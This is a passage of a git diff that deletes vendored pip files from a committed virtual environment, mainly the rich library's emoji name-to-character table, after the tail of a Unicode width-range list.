0), - (123566, 123566, 0), - (123628, 123631, 0), - (124140, 124143, 0), - (125136, 125142, 0), - (125252, 125258, 0), - (126980, 126980, 2), - (127183, 127183, 2), - (127374, 127374, 2), - (127377, 127386, 2), - (127488, 127490, 2), - (127504, 127547, 2), - (127552, 127560, 2), - (127568, 127569, 2), - (127584, 127589, 2), - (127744, 127776, 2), - (127789, 127797, 2), - (127799, 127868, 2), - (127870, 127891, 2), - (127904, 127946, 2), - (127951, 127955, 2), - (127968, 127984, 2), - (127988, 127988, 2), - (127992, 127994, 2), - (127995, 127999, 0), - (128000, 128062, 2), - (128064, 128064, 2), - (128066, 128252, 2), - (128255, 128317, 2), - (128331, 128334, 2), - (128336, 128359, 2), - (128378, 128378, 2), - (128405, 128406, 2), - (128420, 128420, 2), - (128507, 128591, 2), - (128640, 128709, 2), - (128716, 128716, 2), - (128720, 128722, 2), - (128725, 128727, 2), - (128732, 128735, 2), - (128747, 128748, 2), - (128756, 128764, 2), - (128992, 129003, 2), - (129008, 129008, 2), - (129292, 129338, 2), - (129340, 129349, 2), - (129351, 129535, 2), - (129648, 129660, 2), - (129664, 129672, 2), - (129680, 129725, 2), - (129727, 129733, 2), - (129742, 129755, 2), - (129760, 129768, 2), - (129776, 129784, 2), - (131072, 196605, 2), - (196608, 262141, 2), - (917505, 917505, 0), - (917536, 917631, 0), - (917760, 917999, 0), -] diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_emoji_codes.py b/venv/Lib/site-packages/pip/_vendor/rich/_emoji_codes.py deleted file mode 100644 index 1f2877bb2bd520253502b1c05bb811bb0d7ef64c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_emoji_codes.py +++ /dev/null @@ -1,3610 +0,0 @@ -EMOJI = { - "1st_place_medal": "🥇", - "2nd_place_medal": "🥈", - "3rd_place_medal": "🥉", - "ab_button_(blood_type)": "🆎", - "atm_sign": "🏧", - "a_button_(blood_type)": "🅰", - "afghanistan": "🇦🇫", - "albania": "🇦🇱", - "algeria": "🇩🇿", - "american_samoa": "🇦🇸", - "andorra": "🇦🇩", - "angola": "🇦🇴", - "anguilla": "🇦🇮", - "antarctica": "🇦🇶", - "antigua_&_barbuda": "🇦🇬", - "aquarius": "♒", - "argentina": "🇦🇷", - "aries": "♈", - "armenia": "🇦🇲", - "aruba": "🇦🇼", - "ascension_island": "🇦🇨", - "australia": "🇦🇺", - "austria": "🇦🇹", - "azerbaijan": "🇦🇿", - "back_arrow": "🔙", - "b_button_(blood_type)": "🅱", - "bahamas": "🇧🇸", - "bahrain": "🇧🇭", - "bangladesh": "🇧🇩", - "barbados": "🇧🇧", - "belarus": "🇧🇾", - "belgium": "🇧🇪", - "belize": "🇧🇿", - "benin": "🇧🇯", - "bermuda": "🇧🇲", - "bhutan": "🇧🇹", - "bolivia": "🇧🇴", - "bosnia_&_herzegovina": "🇧🇦", - "botswana": "🇧🇼", - "bouvet_island": "🇧🇻", - "brazil": "🇧🇷", - "british_indian_ocean_territory": "🇮🇴", - "british_virgin_islands": "🇻🇬", - "brunei": "🇧🇳", - "bulgaria": "🇧🇬", - "burkina_faso": "🇧🇫", - "burundi": "🇧🇮", - "cl_button": "🆑", - "cool_button": "🆒", - "cambodia": "🇰🇭", - "cameroon": "🇨🇲", - "canada": "🇨🇦", - "canary_islands": "🇮🇨", - "cancer": "♋", - "cape_verde": "🇨🇻", - "capricorn": "♑", - "caribbean_netherlands": "🇧🇶", - "cayman_islands": "🇰🇾", - "central_african_republic": "🇨🇫", - "ceuta_&_melilla": "🇪🇦", - "chad": "🇹🇩", - "chile": "🇨🇱", - "china": "🇨🇳", - "christmas_island": "🇨🇽", - "christmas_tree": "🎄", - "clipperton_island": "🇨🇵", - "cocos_(keeling)_islands": "🇨🇨", - "colombia": "🇨🇴", - "comoros": "🇰🇲", - "congo_-_brazzaville": "🇨🇬", - "congo_-_kinshasa": "🇨🇩", - "cook_islands": "🇨🇰", - "costa_rica": "🇨🇷", - "croatia": "🇭🇷", - "cuba": "🇨🇺", - "curaçao": "🇨🇼", - "cyprus": "🇨🇾", - "czechia": "🇨🇿", - "côte_d’ivoire": "🇨🇮", - "denmark": "🇩🇰", - "diego_garcia": "🇩🇬", - "djibouti": "🇩🇯", - "dominica": "🇩🇲", - "dominican_republic": "🇩🇴", - "end_arrow": "🔚", - "ecuador": "🇪🇨", - "egypt": "🇪🇬", - "el_salvador": "🇸🇻", - "england": "🏴\U000e0067\U000e0062\U000e0065\U000e006e\U000e0067\U000e007f", - "equatorial_guinea": "🇬🇶", - "eritrea": "🇪🇷", - "estonia": "🇪🇪", - "ethiopia": "🇪🇹", - "european_union": "🇪🇺", - "free_button": "🆓", - "falkland_islands": "🇫🇰", - "faroe_islands": "🇫🇴", - "fiji": "🇫🇯", - "finland": "🇫🇮", - "france": "🇫🇷", - "french_guiana": "🇬🇫", - "french_polynesia": "🇵🇫", - "french_southern_territories": "🇹🇫", - "gabon": "🇬🇦", - "gambia": "🇬🇲", - "gemini": "♊", - "georgia": "🇬🇪", - "germany": "🇩🇪", - "ghana": "🇬🇭", - "gibraltar": "🇬🇮", - "greece": "🇬🇷", - "greenland": "🇬🇱", - "grenada": "🇬🇩", - "guadeloupe": "🇬🇵", - "guam": "🇬🇺", - "guatemala": "🇬🇹", - "guernsey": "🇬🇬", - "guinea": "🇬🇳", - "guinea-bissau": "🇬🇼", - "guyana": "🇬🇾", - "haiti": "🇭🇹", - "heard_&_mcdonald_islands": "🇭🇲", - "honduras": "🇭🇳", - "hong_kong_sar_china": "🇭🇰", - "hungary": "🇭🇺", - "id_button": "🆔", - "iceland": "🇮🇸", - "india": "🇮🇳", - "indonesia": "🇮🇩", - "iran": "🇮🇷", - "iraq": "🇮🇶", - "ireland": "🇮🇪", - "isle_of_man": "🇮🇲", - "israel": "🇮🇱", - "italy": "🇮🇹", - "jamaica": "🇯🇲", - "japan": "🗾", - "japanese_acceptable_button": "🉑", - "japanese_application_button": "🈸", - "japanese_bargain_button": "🉐", - "japanese_castle": "🏯", - "japanese_congratulations_button": "㊗", - "japanese_discount_button": "🈹", - "japanese_dolls": "🎎", - "japanese_free_of_charge_button": "🈚", - "japanese_here_button": "🈁", - "japanese_monthly_amount_button": "🈷", - "japanese_no_vacancy_button": "🈵", - "japanese_not_free_of_charge_button": "🈶", - "japanese_open_for_business_button": "🈺", - "japanese_passing_grade_button": "🈴", - "japanese_post_office": "🏣", - "japanese_prohibited_button": "🈲", - "japanese_reserved_button": "🈯", - "japanese_secret_button": "㊙", - "japanese_service_charge_button": "🈂", - "japanese_symbol_for_beginner": "🔰", - "japanese_vacancy_button": "🈳", - "jersey": "🇯🇪", - "jordan": "🇯🇴", - "kazakhstan": "🇰🇿", - "kenya": "🇰🇪", - "kiribati": "🇰🇮", - "kosovo": "🇽🇰", - "kuwait": "🇰🇼", - "kyrgyzstan": "🇰🇬", - "laos": "🇱🇦", - "latvia": "🇱🇻", - "lebanon": "🇱🇧", - "leo": "♌", - "lesotho": "🇱🇸", - "liberia": "🇱🇷", - "libra": "♎", - "libya": "🇱🇾", - "liechtenstein": "🇱🇮", - "lithuania": "🇱🇹", - "luxembourg": "🇱🇺", - "macau_sar_china": "🇲🇴", - "macedonia": "🇲🇰", - "madagascar": "🇲🇬", - "malawi": "🇲🇼", - "malaysia": "🇲🇾", - "maldives": "🇲🇻", - "mali": "🇲🇱", - "malta": "🇲🇹", - "marshall_islands": "🇲🇭", - "martinique": "🇲🇶", - "mauritania": "🇲🇷", - "mauritius": "🇲🇺", - "mayotte": "🇾🇹", - "mexico": "🇲🇽", - "micronesia": "🇫🇲", - "moldova": "🇲🇩", - "monaco": "🇲🇨", - "mongolia": "🇲🇳", - "montenegro": "🇲🇪", - "montserrat": "🇲🇸", - "morocco": "🇲🇦", - "mozambique": "🇲🇿", - "mrs._claus": "🤶", - "mrs._claus_dark_skin_tone": "🤶🏿", - "mrs._claus_light_skin_tone": "🤶🏻", - "mrs._claus_medium-dark_skin_tone": "🤶🏾", - "mrs._claus_medium-light_skin_tone": "🤶🏼", - "mrs._claus_medium_skin_tone": "🤶🏽", - "myanmar_(burma)": "🇲🇲", - "new_button": "🆕", - "ng_button": "🆖", - "namibia": "🇳🇦", - "nauru": "🇳🇷", - "nepal": "🇳🇵", - "netherlands": "🇳🇱", - "new_caledonia": "🇳🇨", - "new_zealand": "🇳🇿", - "nicaragua": "🇳🇮", - "niger": "🇳🇪", - "nigeria": "🇳🇬", - "niue": "🇳🇺", - "norfolk_island": "🇳🇫", - "north_korea": "🇰🇵", - "northern_mariana_islands": "🇲🇵", - "norway": "🇳🇴", - "ok_button": "🆗", - "ok_hand": "👌", - "ok_hand_dark_skin_tone": "👌🏿", - "ok_hand_light_skin_tone": "👌🏻", - "ok_hand_medium-dark_skin_tone": "👌🏾", - "ok_hand_medium-light_skin_tone": "👌🏼", - "ok_hand_medium_skin_tone": "👌🏽", - "on!_arrow": "🔛", - "o_button_(blood_type)": "🅾", - "oman": "🇴🇲", - "ophiuchus": "⛎", - "p_button": "🅿", - "pakistan": "🇵🇰", - "palau": "🇵🇼", - "palestinian_territories": "🇵🇸", - "panama": "🇵🇦", - "papua_new_guinea": "🇵🇬", - "paraguay": "🇵🇾", - "peru": "🇵🇪", - "philippines": "🇵🇭", - "pisces": "♓", - "pitcairn_islands": "🇵🇳", - "poland": "🇵🇱", - "portugal": "🇵🇹", - "puerto_rico": "🇵🇷", - "qatar": "🇶🇦", - "romania": "🇷🇴", - "russia": "🇷🇺", - "rwanda": "🇷🇼", - "réunion": "🇷🇪", - "soon_arrow": "🔜", - "sos_button": "🆘", - "sagittarius": "♐", - "samoa": "🇼🇸", - "san_marino": "🇸🇲", - "santa_claus": "🎅", - "santa_claus_dark_skin_tone": "🎅🏿", - "santa_claus_light_skin_tone": "🎅🏻", - "santa_claus_medium-dark_skin_tone": "🎅🏾", - "santa_claus_medium-light_skin_tone": "🎅🏼", - "santa_claus_medium_skin_tone": "🎅🏽", - "saudi_arabia": "🇸🇦", - "scorpio": "♏", - "scotland": "🏴\U000e0067\U000e0062\U000e0073\U000e0063\U000e0074\U000e007f", - "senegal": "🇸🇳", - "serbia": "🇷🇸", - "seychelles": "🇸🇨", - "sierra_leone": "🇸🇱", - "singapore": "🇸🇬", - "sint_maarten": "🇸🇽", - "slovakia": "🇸🇰", - "slovenia": "🇸🇮", - "solomon_islands": "🇸🇧", - "somalia": "🇸🇴", - "south_africa": "🇿🇦", - "south_georgia_&_south_sandwich_islands": "🇬🇸", - "south_korea": "🇰🇷", - "south_sudan": "🇸🇸", - "spain": "🇪🇸", - "sri_lanka": "🇱🇰", - "st._barthélemy": "🇧🇱", - "st._helena": "🇸🇭", - "st._kitts_&_nevis": "🇰🇳", - "st._lucia": "🇱🇨", - "st._martin": "🇲🇫", - "st._pierre_&_miquelon": "🇵🇲", - "st._vincent_&_grenadines": "🇻🇨", - "statue_of_liberty": "🗽", - "sudan": "🇸🇩", - "suriname": "🇸🇷", - "svalbard_&_jan_mayen": "🇸🇯", - "swaziland": "🇸🇿", - "sweden": "🇸🇪", - "switzerland": "🇨🇭", - "syria": "🇸🇾", - "são_tomé_&_príncipe": "🇸🇹", - "t-rex": "🦖", - "top_arrow": "🔝", - "taiwan": "🇹🇼", - "tajikistan": "🇹🇯", - "tanzania": "🇹🇿", - "taurus": "♉", - "thailand": "🇹🇭", - "timor-leste": "🇹🇱", - "togo": "🇹🇬", - "tokelau": "🇹🇰", - "tokyo_tower": "🗼", - "tonga": "🇹🇴", - "trinidad_&_tobago": "🇹🇹", - "tristan_da_cunha": "🇹🇦", - "tunisia": "🇹🇳", - "turkey": "🦃", - "turkmenistan": "🇹🇲", - "turks_&_caicos_islands": "🇹🇨", - "tuvalu": "🇹🇻", - "u.s._outlying_islands": "🇺🇲", - "u.s._virgin_islands": "🇻🇮", - "up!_button": "🆙", - "uganda": "🇺🇬", - "ukraine": "🇺🇦", - "united_arab_emirates": "🇦🇪", - "united_kingdom": "🇬🇧", - "united_nations": "🇺🇳", - "united_states": "🇺🇸", - "uruguay": "🇺🇾", - "uzbekistan": "🇺🇿", - "vs_button": "🆚", - "vanuatu": "🇻🇺", - "vatican_city": "🇻🇦", - "venezuela": "🇻🇪", - "vietnam": "🇻🇳", - "virgo": "♍", - "wales": "🏴\U000e0067\U000e0062\U000e0077\U000e006c\U000e0073\U000e007f", - "wallis_&_futuna": "🇼🇫", - "western_sahara": "🇪🇭", - "yemen": "🇾🇪", - "zambia": "🇿🇲", - "zimbabwe": "🇿🇼", - "abacus": "🧮", - "adhesive_bandage": "🩹", - "admission_tickets": "🎟", - "adult": "🧑", - "adult_dark_skin_tone": "🧑🏿", - "adult_light_skin_tone": "🧑🏻", - "adult_medium-dark_skin_tone": "🧑🏾", - "adult_medium-light_skin_tone": "🧑🏼", - "adult_medium_skin_tone": "🧑🏽", - "aerial_tramway": "🚡", - "airplane": "✈", - "airplane_arrival": "🛬", - "airplane_departure": "🛫", - "alarm_clock": "⏰", - "alembic": "⚗", - "alien": "👽", - "alien_monster": "👾", - "ambulance": "🚑", - "american_football": "🏈", - "amphora": "🏺", - "anchor": "⚓", - "anger_symbol": "💢", - "angry_face": "😠", - "angry_face_with_horns": "👿", - "anguished_face": "😧", - "ant": "🐜", - "antenna_bars": "📶", - "anxious_face_with_sweat": "😰", - "articulated_lorry": "🚛", - "artist_palette": "🎨", - "astonished_face": "😲", - "atom_symbol": "⚛", - "auto_rickshaw": "🛺", - "automobile": "🚗", - "avocado": "🥑", - "axe": "🪓", - "baby": "👶", - "baby_angel": "👼", - "baby_angel_dark_skin_tone": "👼🏿", - "baby_angel_light_skin_tone": "👼🏻", - "baby_angel_medium-dark_skin_tone": "👼🏾", - "baby_angel_medium-light_skin_tone": "👼🏼", - "baby_angel_medium_skin_tone": "👼🏽", - "baby_bottle": "🍼", - "baby_chick": "🐤", - "baby_dark_skin_tone": "👶🏿", - "baby_light_skin_tone": "👶🏻", - "baby_medium-dark_skin_tone": "👶🏾", - "baby_medium-light_skin_tone": "👶🏼", - "baby_medium_skin_tone": "👶🏽", - "baby_symbol": "🚼", - "backhand_index_pointing_down": "👇", - "backhand_index_pointing_down_dark_skin_tone": "👇🏿", - "backhand_index_pointing_down_light_skin_tone": "👇🏻", - "backhand_index_pointing_down_medium-dark_skin_tone": "👇🏾", - "backhand_index_pointing_down_medium-light_skin_tone": "👇🏼", - "backhand_index_pointing_down_medium_skin_tone": "👇🏽", - "backhand_index_pointing_left": "👈", - "backhand_index_pointing_left_dark_skin_tone": "👈🏿", - "backhand_index_pointing_left_light_skin_tone": "👈🏻", - "backhand_index_pointing_left_medium-dark_skin_tone": "👈🏾", - "backhand_index_pointing_left_medium-light_skin_tone": "👈🏼", - "backhand_index_pointing_left_medium_skin_tone": "👈🏽", - "backhand_index_pointing_right": "👉", - "backhand_index_pointing_right_dark_skin_tone": "👉🏿", - "backhand_index_pointing_right_light_skin_tone": "👉🏻", - "backhand_index_pointing_right_medium-dark_skin_tone": "👉🏾", - "backhand_index_pointing_right_medium-light_skin_tone": "👉🏼", - "backhand_index_pointing_right_medium_skin_tone": "👉🏽", - "backhand_index_pointing_up": "👆", - "backhand_index_pointing_up_dark_skin_tone": "👆🏿", - "backhand_index_pointing_up_light_skin_tone": "👆🏻", - "backhand_index_pointing_up_medium-dark_skin_tone": "👆🏾", - "backhand_index_pointing_up_medium-light_skin_tone": "👆🏼", - "backhand_index_pointing_up_medium_skin_tone": "👆🏽", - "bacon": "🥓", - "badger": "🦡", - "badminton": "🏸", - "bagel": "🥯", - "baggage_claim": "🛄", - "baguette_bread": "🥖", - "balance_scale": "⚖", - "bald": "🦲", - "bald_man": "👨\u200d🦲", - "bald_woman": "👩\u200d🦲", - "ballet_shoes": "🩰", - "balloon": "🎈", - "ballot_box_with_ballot": "🗳", - "ballot_box_with_check": "☑", - "banana": "🍌", - "banjo": "🪕", - "bank": "🏦", - "bar_chart": "📊", - "barber_pole": "💈", - "baseball": "⚾", - "basket": "🧺", - "basketball": "🏀", - "bat": "🦇", - "bathtub": "🛁", - "battery": "🔋", - "beach_with_umbrella": "🏖", - "beaming_face_with_smiling_eyes": "😁", - "bear_face": "🐻", - "bearded_person": "🧔", - "bearded_person_dark_skin_tone": "🧔🏿", - "bearded_person_light_skin_tone": "🧔🏻", - "bearded_person_medium-dark_skin_tone": "🧔🏾", - "bearded_person_medium-light_skin_tone": "🧔🏼", - "bearded_person_medium_skin_tone": "🧔🏽", - "beating_heart": "💓", - "bed": "🛏", - "beer_mug": "🍺", - "bell": "🔔", - "bell_with_slash": "🔕", - "bellhop_bell": "🛎", - "bento_box": "🍱", - "beverage_box": "🧃", - "bicycle": "🚲", - "bikini": "👙", - "billed_cap": "🧢", - "biohazard": "☣", - "bird": "🐦", - "birthday_cake": "🎂", - "black_circle": "⚫", - "black_flag": "🏴", - "black_heart": "🖤", - "black_large_square": "⬛", - "black_medium-small_square": "◾", - "black_medium_square": "◼", - "black_nib": "✒", - "black_small_square": "▪", - "black_square_button": "🔲", - "blond-haired_man": "👱\u200d♂️", - "blond-haired_man_dark_skin_tone": "👱🏿\u200d♂️", - "blond-haired_man_light_skin_tone": "👱🏻\u200d♂️", - "blond-haired_man_medium-dark_skin_tone": "👱🏾\u200d♂️", - "blond-haired_man_medium-light_skin_tone": "👱🏼\u200d♂️", - "blond-haired_man_medium_skin_tone": "👱🏽\u200d♂️", - "blond-haired_person": "👱", - "blond-haired_person_dark_skin_tone": "👱🏿", - "blond-haired_person_light_skin_tone": "👱🏻", - "blond-haired_person_medium-dark_skin_tone": "👱🏾", - "blond-haired_person_medium-light_skin_tone": "👱🏼", - "blond-haired_person_medium_skin_tone": "👱🏽", - "blond-haired_woman": "👱\u200d♀️", - "blond-haired_woman_dark_skin_tone": "👱🏿\u200d♀️", - "blond-haired_woman_light_skin_tone": "👱🏻\u200d♀️", - "blond-haired_woman_medium-dark_skin_tone": "👱🏾\u200d♀️", - "blond-haired_woman_medium-light_skin_tone": "👱🏼\u200d♀️", - "blond-haired_woman_medium_skin_tone": "👱🏽\u200d♀️", - "blossom": "🌼", - "blowfish": "🐡", - "blue_book": "📘", - "blue_circle": "🔵", - "blue_heart": "💙", - "blue_square": "🟦", - "boar": "🐗", - "bomb": "💣", - "bone": "🦴", - "bookmark": "🔖", - "bookmark_tabs": "📑", - "books": "📚", - "bottle_with_popping_cork": "🍾", - "bouquet": "💐", - "bow_and_arrow": "🏹", - "bowl_with_spoon": "🥣", - "bowling": "🎳", - "boxing_glove": "🥊", - "boy": "👦", - "boy_dark_skin_tone": "👦🏿", - "boy_light_skin_tone": "👦🏻", - "boy_medium-dark_skin_tone": "👦🏾", - "boy_medium-light_skin_tone": "👦🏼", - "boy_medium_skin_tone": "👦🏽", - "brain": "🧠", - "bread": "🍞", - "breast-feeding": "🤱", - "breast-feeding_dark_skin_tone": "🤱🏿", - "breast-feeding_light_skin_tone": "🤱🏻", - "breast-feeding_medium-dark_skin_tone": "🤱🏾", - "breast-feeding_medium-light_skin_tone": "🤱🏼", - "breast-feeding_medium_skin_tone": "🤱🏽", - "brick": "🧱", - "bride_with_veil": "👰", - "bride_with_veil_dark_skin_tone": "👰🏿", - "bride_with_veil_light_skin_tone": "👰🏻", - "bride_with_veil_medium-dark_skin_tone": "👰🏾", - "bride_with_veil_medium-light_skin_tone": "👰🏼", - "bride_with_veil_medium_skin_tone": "👰🏽", - "bridge_at_night": "🌉", - "briefcase": "💼", - "briefs": "🩲", - "bright_button": "🔆", - "broccoli": "🥦", - "broken_heart": "💔", - "broom": "🧹", - "brown_circle": "🟤", - "brown_heart": "🤎", - "brown_square": "🟫", - "bug": "🐛", - "building_construction": "🏗", - "bullet_train": "🚅", - "burrito": "🌯", - "bus": "🚌", - "bus_stop": "🚏", - "bust_in_silhouette": "👤", - "busts_in_silhouette": "👥", - "butter": "🧈", - "butterfly": "🦋", - "cactus": "🌵", - "calendar": "📆", - "call_me_hand": "🤙", - "call_me_hand_dark_skin_tone": "🤙🏿", - "call_me_hand_light_skin_tone": "🤙🏻", - "call_me_hand_medium-dark_skin_tone": "🤙🏾", - "call_me_hand_medium-light_skin_tone": "🤙🏼", - "call_me_hand_medium_skin_tone": "🤙🏽", - "camel": "🐫", - "camera": "📷", - "camera_with_flash": "📸", - "camping": "🏕", - "candle": "🕯", - "candy": "🍬", - "canned_food": "🥫", - "canoe": "🛶", - "card_file_box": "🗃", - "card_index": "📇", - "card_index_dividers": "🗂", - "carousel_horse": "🎠", - "carp_streamer": "🎏", - "carrot": "🥕", - "castle": "🏰", - "cat": "🐱", - "cat_face": "🐱", - "cat_face_with_tears_of_joy": "😹", - "cat_face_with_wry_smile": "😼", - "chains": "⛓", - "chair": "🪑", - "chart_decreasing": "📉", - "chart_increasing": "📈", - "chart_increasing_with_yen": "💹", - "cheese_wedge": "🧀", - "chequered_flag": "🏁", - "cherries": "🍒", - "cherry_blossom": "🌸", - "chess_pawn": "♟", - "chestnut": "🌰", - "chicken": "🐔", - "child": "🧒", - "child_dark_skin_tone": "🧒🏿", - "child_light_skin_tone": "🧒🏻", - "child_medium-dark_skin_tone": "🧒🏾", - "child_medium-light_skin_tone": "🧒🏼", - "child_medium_skin_tone": "🧒🏽", - "children_crossing": "🚸", - "chipmunk": "🐿", - "chocolate_bar": "🍫", - "chopsticks": "🥢", - "church": "⛪", - "cigarette": "🚬", - "cinema": "🎦", - "circled_m": "Ⓜ", - "circus_tent": "🎪", - "cityscape": "🏙", - "cityscape_at_dusk": "🌆", - "clamp": "🗜", - "clapper_board": "🎬", - "clapping_hands": "👏", - "clapping_hands_dark_skin_tone": "👏🏿", - "clapping_hands_light_skin_tone": "👏🏻", - "clapping_hands_medium-dark_skin_tone": "👏🏾", - "clapping_hands_medium-light_skin_tone": "👏🏼", - "clapping_hands_medium_skin_tone": "👏🏽", - "classical_building": "🏛", - "clinking_beer_mugs": "🍻", - "clinking_glasses": "🥂", - "clipboard": "📋", - "clockwise_vertical_arrows": "🔃", - "closed_book": "📕", - "closed_mailbox_with_lowered_flag": "📪", - "closed_mailbox_with_raised_flag": "📫", - "closed_umbrella": "🌂", - "cloud": "☁", - "cloud_with_lightning": "🌩", - "cloud_with_lightning_and_rain": "⛈", - "cloud_with_rain": "🌧", - "cloud_with_snow": "🌨", - "clown_face": "🤡", - "club_suit": "♣", - "clutch_bag": "👝", - "coat": "🧥", - "cocktail_glass": "🍸", - "coconut": "🥥", - "coffin": "⚰", - "cold_face": "🥶", - "collision": "💥", - "comet": "☄", - "compass": "🧭", - "computer_disk": "💽", - "computer_mouse": "🖱", - "confetti_ball": "🎊", - "confounded_face": "😖", - "confused_face": "😕", - "construction": "🚧", - "construction_worker": "👷", - "construction_worker_dark_skin_tone": "👷🏿", - "construction_worker_light_skin_tone": "👷🏻", - "construction_worker_medium-dark_skin_tone": "👷🏾", - "construction_worker_medium-light_skin_tone": "👷🏼", - "construction_worker_medium_skin_tone": "👷🏽", - "control_knobs": "🎛", - "convenience_store": "🏪", - "cooked_rice": "🍚", - "cookie": "🍪", - "cooking": "🍳", - "copyright": "©", - "couch_and_lamp": "🛋", - "counterclockwise_arrows_button": "🔄", - "couple_with_heart": "💑", - "couple_with_heart_man_man": "👨\u200d❤️\u200d👨", - "couple_with_heart_woman_man": "👩\u200d❤️\u200d👨", - "couple_with_heart_woman_woman": "👩\u200d❤️\u200d👩", - "cow": "🐮", - "cow_face": "🐮", - "cowboy_hat_face": "🤠", - "crab": "🦀", - "crayon": "🖍", - "credit_card": "💳", - "crescent_moon": "🌙", - "cricket": "🦗", - "cricket_game": "🏏", - "crocodile": "🐊", - "croissant": "🥐", - "cross_mark": "❌", - "cross_mark_button": "❎", - "crossed_fingers": "🤞", - "crossed_fingers_dark_skin_tone": "🤞🏿", - "crossed_fingers_light_skin_tone": "🤞🏻", - "crossed_fingers_medium-dark_skin_tone": "🤞🏾", - "crossed_fingers_medium-light_skin_tone": "🤞🏼", - "crossed_fingers_medium_skin_tone": "🤞🏽", - "crossed_flags": "🎌", - "crossed_swords": "⚔", - "crown": "👑", - "crying_cat_face": "😿", - "crying_face": "😢", - "crystal_ball": "🔮", - "cucumber": "🥒", - "cupcake": "🧁", - "cup_with_straw": "🥤", - "curling_stone": "🥌", - "curly_hair": "🦱", - "curly-haired_man": "👨\u200d🦱", - "curly-haired_woman": "👩\u200d🦱", - "curly_loop": "➰", - "currency_exchange": "💱", - "curry_rice": "🍛", - "custard": "🍮", - "customs": "🛃", - "cut_of_meat": "🥩", - "cyclone": "🌀", - "dagger": "🗡", - "dango": "🍡", - "dashing_away": "💨", - "deaf_person": "🧏", - "deciduous_tree": "🌳", - "deer": "🦌", - "delivery_truck": "🚚", - "department_store": "🏬", - "derelict_house": "🏚", - "desert": "🏜", - "desert_island": "🏝", - "desktop_computer": "🖥", - "detective": "🕵", - "detective_dark_skin_tone": "🕵🏿", - "detective_light_skin_tone": "🕵🏻", - "detective_medium-dark_skin_tone": "🕵🏾", - "detective_medium-light_skin_tone": "🕵🏼", - "detective_medium_skin_tone": "🕵🏽", - "diamond_suit": "♦", - "diamond_with_a_dot": "💠", - "dim_button": "🔅", - "direct_hit": "🎯", - "disappointed_face": "😞", - "diving_mask": "🤿", - "diya_lamp": "🪔", - "dizzy": "💫", - "dizzy_face": "😵", - "dna": "🧬", - "dog": "🐶", - "dog_face": "🐶", - "dollar_banknote": "💵", - "dolphin": "🐬", - "door": "🚪", - "dotted_six-pointed_star": "🔯", - "double_curly_loop": "➿", - "double_exclamation_mark": "‼", - "doughnut": "🍩", - "dove": "🕊", - "down-left_arrow": "↙", - "down-right_arrow": "↘", - "down_arrow": "⬇", - "downcast_face_with_sweat": "😓", - "downwards_button": "🔽", - "dragon": "🐉", - "dragon_face": "🐲", - "dress": "👗", - "drooling_face": "🤤", - "drop_of_blood": "🩸", - "droplet": "💧", - "drum": "🥁", - "duck": "🦆", - "dumpling": "🥟", - "dvd": "📀", - "e-mail": "📧", - "eagle": "🦅", - "ear": "👂", - "ear_dark_skin_tone": "👂🏿", - "ear_light_skin_tone": "👂🏻", - "ear_medium-dark_skin_tone": "👂🏾", - "ear_medium-light_skin_tone": "👂🏼", - "ear_medium_skin_tone": "👂🏽", - "ear_of_corn": "🌽", - "ear_with_hearing_aid": "🦻", - "egg": "🍳", - "eggplant": "🍆", - "eight-pointed_star": "✴", - "eight-spoked_asterisk": "✳", - "eight-thirty": "🕣", - "eight_o’clock": "🕗", - "eject_button": "⏏", - "electric_plug": "🔌", - "elephant": "🐘", - "eleven-thirty": "🕦", - "eleven_o’clock": "🕚", - "elf": "🧝", - "elf_dark_skin_tone": "🧝🏿", - "elf_light_skin_tone": "🧝🏻", - "elf_medium-dark_skin_tone": "🧝🏾", - "elf_medium-light_skin_tone": "🧝🏼", - "elf_medium_skin_tone": "🧝🏽", - "envelope": "✉", - "envelope_with_arrow": "📩", - "euro_banknote": "💶", - "evergreen_tree": "🌲", - "ewe": "🐑", - "exclamation_mark": "❗", - "exclamation_question_mark": "⁉", - "exploding_head": "🤯", - "expressionless_face": "😑", - "eye": "👁", - "eye_in_speech_bubble": "👁️\u200d🗨️", - "eyes": "👀", - "face_blowing_a_kiss": "😘", - "face_savoring_food": "😋", - "face_screaming_in_fear": "😱", - "face_vomiting": "🤮", - "face_with_hand_over_mouth": "🤭", - "face_with_head-bandage": "🤕", - "face_with_medical_mask": "😷", - "face_with_monocle": "🧐", - "face_with_open_mouth": "😮", - "face_with_raised_eyebrow": "🤨", - "face_with_rolling_eyes": "🙄", - "face_with_steam_from_nose": "😤", - "face_with_symbols_on_mouth": "🤬", - "face_with_tears_of_joy": "😂", - "face_with_thermometer": "🤒", - "face_with_tongue": "😛", - "face_without_mouth": "😶", - "factory": "🏭", - "fairy": "🧚", - "fairy_dark_skin_tone": "🧚🏿", - "fairy_light_skin_tone": "🧚🏻", - "fairy_medium-dark_skin_tone": "🧚🏾", - "fairy_medium-light_skin_tone": "🧚🏼", - "fairy_medium_skin_tone": "🧚🏽", - "falafel": "🧆", - "fallen_leaf": "🍂", - "family": "👪", - "family_man_boy": "👨\u200d👦", - "family_man_boy_boy": "👨\u200d👦\u200d👦", - "family_man_girl": "👨\u200d👧", - "family_man_girl_boy": "👨\u200d👧\u200d👦", - "family_man_girl_girl": "👨\u200d👧\u200d👧", - "family_man_man_boy": "👨\u200d👨\u200d👦", - "family_man_man_boy_boy": "👨\u200d👨\u200d👦\u200d👦", - "family_man_man_girl": "👨\u200d👨\u200d👧", - "family_man_man_girl_boy": "👨\u200d👨\u200d👧\u200d👦", - "family_man_man_girl_girl": "👨\u200d👨\u200d👧\u200d👧", - "family_man_woman_boy": "👨\u200d👩\u200d👦", - "family_man_woman_boy_boy": "👨\u200d👩\u200d👦\u200d👦", - "family_man_woman_girl": "👨\u200d👩\u200d👧", - "family_man_woman_girl_boy": "👨\u200d👩\u200d👧\u200d👦", - "family_man_woman_girl_girl": "👨\u200d👩\u200d👧\u200d👧", - "family_woman_boy": "👩\u200d👦", - "family_woman_boy_boy": "👩\u200d👦\u200d👦", - "family_woman_girl": "👩\u200d👧", - "family_woman_girl_boy": "👩\u200d👧\u200d👦", - "family_woman_girl_girl": "👩\u200d👧\u200d👧", - "family_woman_woman_boy": "👩\u200d👩\u200d👦", - "family_woman_woman_boy_boy": "👩\u200d👩\u200d👦\u200d👦", - "family_woman_woman_girl": "👩\u200d👩\u200d👧", - "family_woman_woman_girl_boy": "👩\u200d👩\u200d👧\u200d👦", - "family_woman_woman_girl_girl": "👩\u200d👩\u200d👧\u200d👧", - "fast-forward_button": "⏩", - "fast_down_button": "⏬", - "fast_reverse_button": "⏪", - 